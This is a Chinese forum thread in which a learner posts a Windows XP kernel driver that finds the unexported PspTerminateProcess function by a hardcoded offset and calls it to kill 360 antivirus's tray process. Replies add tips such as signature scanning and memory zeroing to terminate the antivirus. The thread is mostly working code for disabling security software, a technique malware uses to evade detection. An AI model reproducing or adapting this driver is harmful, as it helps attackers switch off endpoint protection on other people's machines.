WindowsXp驱动未完全杀掉360

aswcy815174418

一、刚学驱动不久，利用PspTerminateProcess函数杀掉360Tray.exe，但会弹出360保护阻止，允许就能杀掉了。
二、你会这样问：360都拦截掉了，要你这有啥用，我刚学不久，用来练习获取未导出函数

//#include "ntddk.h"
#include "ntifs.h"
typedef struct _LDR_DATA_TABLE_ENTRY{
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    ULONG32      DllBase;
    ULONG32      EntryPoint;
    ULONG32    SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    UINT32   Unknow[17];

}LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

NTSTATUS UnLoad(PDRIVER_OBJECT pdriver) {
    DbgPrint("UnLoad!\r");
    return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pdriver, PUNICODE_STRING ppath) {
    pdriver->DriverUnload = UnLoad;
    PVOID PspTerminateProcess = 0;
    UNICODE_STRING us = {0};
    //10-10-12分页是ntoskrnl.exe这个内核模块
    //2-9-9-12分页是ntkrnlpa.exe这个内核模块
    RtlInitUnicodeString(&us,L"ntoskrnl.exe");
    LDR_DATA_TABLE_ENTRY* Section = (LDR_DATA_TABLE_ENTRY*)pdriver->DriverSection;
    do {
        //DbgPrint("DllBase: %x SizeOfImage: %x DriverName:%wZ\n", Section->DllBase,Section->SizeOfImage, &Section->BaseDllName);
        if (!RtlCompareUnicodeString(&us, &Section->BaseDllName, TRUE)) {
            //计算出相对dll偏移后的地址
            //0x805c9da4 - 0x804d8000通过windbg  u PspTerminateProcess获取函数地址后减去当前模块基址
            //后面这两个值，在10-10-12分页是这个，2-9-9-12分页还没弄
            PspTerminateProcess = Section->DllBase + 0x805c9da4 - 0x804d8000;
            break;
        }
        Section = Section->InLoadOrderLinks.Blink;
    } while(Section->DllBase);
    PEPROCESS hProcess;
    //下面的需要自己获取PID
    PsLookupProcessByProcessId((HANDLE)2248, &hProcess);
    _asm {
        push 0;
        push hProcess;
        call PspTerminateProcess;
    }
    return STATUS_SUCCESS;

}

minibeetuaman

在XP的时代大力出奇迹，直接在目标模块区域定位特征码比较省事

aswcy815174418

minibeetuaman 发表于 2021-8-23 20:57
在XP的时代大力出奇迹，直接在目标模块区域定位特征码比较省事

用特征码也行，我图个方便，用了相对模块基址偏移

myweb1996

试试在ring3k杀毒

mrzhang1989

膜拜大神，我看不懂这些

IBinary

内存清零

yunruifuzhu

微软运行库那个安装包软件，有一个功能就是检测到360，选择关闭他下一步。。这个关闭360不会弹出阻止直接就干死了，虽然会自动复活，但功能应该很6b，希望研究下

aswcy815174418

yunruifuzhu 发表于 2021-8-24 14:55
微软运行库那个安装包软件，有一个功能就是检测到360，选择关闭他下一步。。这个关闭360不会弹出阻止直接就 ...

360靠的是白名单，只要不在它名单上，直接给揪出来，至于你说的那个我功力很弱，抱歉。

yangleiily

卸载还有人用XP吗

dl0618

感谢分享